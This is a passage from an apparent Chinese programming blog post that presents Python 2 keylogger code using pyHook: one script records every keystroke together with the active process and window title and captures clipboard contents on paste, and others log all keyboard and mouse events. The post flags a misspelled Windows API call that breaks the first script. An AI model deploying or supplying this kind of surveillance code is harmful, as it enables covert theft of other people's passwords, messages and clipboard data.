python键盘记录

要求



问题 

2.在进程切换的时候报错(暂未解决):
AttributeError: function 'GetWindowThreadProcessID' not found


代码1

#-*- coding: utf-8 -*-

from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():
    # 获得窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessID(hwnd, byref(pid)) #byref()是用来传递引用参数 http://blog.youkuaiyun.com/linda1000/article/details/12623527

    # 保存当前进程ID
    process_id = "%d" % pid.value
    print process_id

    # 申请内存
    executable = create_string_buffer("\x00" * 512)

    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

    psapi.GetModuleBaseName(h_process, None, byref(executable), 512)

    # 读取窗口标题
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

    # 输出
    print "\n [ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)

    # 关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


def KeyStroke(event):

    global current_window

    # 检查目标是否切换窗口
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()

    # 检测按键是否为常规键
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),

    else:
        # 如果输入为ctrl-v 则获取剪贴板内容
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()

            print "[PASTE] - %s" % (pasted_value),

        else:
            print "[%s]" % event.Key,

    return True

# 创建和注册钩子函数管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke


# 注册键盘记录的钩子并永久执行
kl.HookKeyboard()
pythoncom.PumpMessages()

代码2(键盘+鼠标)

# -*- coding: utf-8 -*-
import pythoncom
import pyHook


def onMouseEvent(event):
    # 监听鼠标事件
    print "MessageName:", event.MessageName
    print "Message:", event.Message
    print "Time:", event.Time
    print "Window:", event.Window
    print "WindowName:", event.WindowName
    print "Position:", event.Position
    print "Wheel:", event.Wheel
    print "Injected:", event.Injected
    print "---"

    # 返回 True 以便将事件传给其它处理程序
    # 注意,这儿如果返回 False ,则鼠标事件将被全部拦截
    # 也就是说你的鼠标看起来会僵在那儿,似乎失去响应了
    return True


def onKeyboardEvent(event):
    # 监听键盘事件
    print "MessageName:", event.MessageName
    print "Message:", event.Message
    print "Time:", event.Time
    print "Window:", event.Window
    print "WindowName:", event.WindowName
    print "Ascii:", event.Ascii, chr(event.Ascii)
    print "Key:", event.Key
    print "KeyID:", event.KeyID
    print "ScanCode:", event.ScanCode
    print "Extended:", event.Extended
    print "Injected:", event.Injected
    print "Alt", event.Alt
    print "Transition", event.Transition
    print "---"

    # 同鼠标事件监听函数的返回值
    return True


def main():
    # 创建一个“钩子”管理对象
    hm = pyHook.HookManager()

    # 监听所有键盘事件
    hm.KeyDown = onKeyboardEvent
    # 设置键盘“钩子”
    hm.HookKeyboard()

    # 监听所有鼠标事件
    hm.MouseAll = onMouseEvent
    # 设置鼠标“钩子”
    hm.HookMouse()

    # 进入循环,如不手动关闭,程序将一直处于监听状态
    pythoncom.PumpMessages()


if __name__ == "__main__":
    main()




代码2简洁版(记录键盘 简单粗暴)

# -*- coding: utf-8 -*-
import pythoncom
import pyHook
def onKeyboardEvent(event):
    # 监听键盘事件
    print "Key:", event.Key
def main():
    # 创建一个“钩子”管理对象
    hm = pyHook.HookManager()

    # 监听所有键盘事件
    hm.KeyDown = onKeyboardEvent
    # 设置键盘“钩子”
    hm.HookKeyboard()

    # 进入循环,如不手动关闭,程序将一直处于监听状态
    pythoncom.PumpMessages()


if __name__ == "__main__":
    main()



相似参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值